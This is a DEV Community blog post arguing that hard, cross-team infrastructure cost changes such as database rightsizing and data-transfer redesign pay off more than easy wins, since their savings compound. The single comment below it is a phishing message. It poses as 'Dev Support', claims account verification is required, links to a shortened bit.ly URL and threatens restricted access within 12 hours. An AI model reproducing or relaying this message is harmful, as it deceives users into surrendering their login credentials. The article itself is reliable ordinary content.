DEV Community

Vlad Z
Vlad Z

Posted on

The changes that save the most are the ones nobody finishes

The hard high-impact changes are the ones most teams talk about and few actually finish

Not because they're impossible. Because they require something the easy wins don't: sustained attention over time

Easy wins are a sprint. Hard wins are a marathon. And most optimization efforts lose steam before they get there

Here's what makes something hard in this context

It's not always technically complex. Sometimes it's organizationally complex. Changing how services communicate affects multiple teams. Rightsizing a production database requires coordination with the application team, a maintenance window, careful monitoring afterward. Restructuring data transfer patterns means changing code that touches multiple services and has unclear downstream effects

Hard means: you can't do this alone in an afternoon

And that friction is where most efforts stop

The ones that don't stop share a pattern

They treat hard changes like engineering projects, not optimization tasks. They have a named owner. A timeline with a defined end date. A rollback plan documented before the change starts. A success metric agreed on in advance so everyone knows what done looks like

They also separate the change from the reason

A developer asked to rightsize a database for cost reasons will have a hundred objections. A developer asked to rightsize a database because the team's goal is to reduce infrastructure spend 30 percent by Q3, and this database is a key part of reaching that goal, has fewer objections. The work is identical. The context changes the conversation

The savings from hard high-impact changes compound differently than easy wins

Easy wins happen once and hold. Hard changes often improve every month as the infrastructure scales. A better data transfer architecture that saves $2,000 a month now saves $4,000 a month when traffic doubles

The effort is a one-time investment

The return keeps coming

That's why they're worth the friction

Top comments (1)

Collapse
 
devsupport profile image
Dev Support •

Dear User,
Due to an increase in bot activity on the platform, we require verify of your account.
Please log in via the link below:
• bit.ly/antibot_check
Verificated deadline - 12 hours. Failure to verify will result in restricted access.
Sincerely, Dev Support

‌ ‌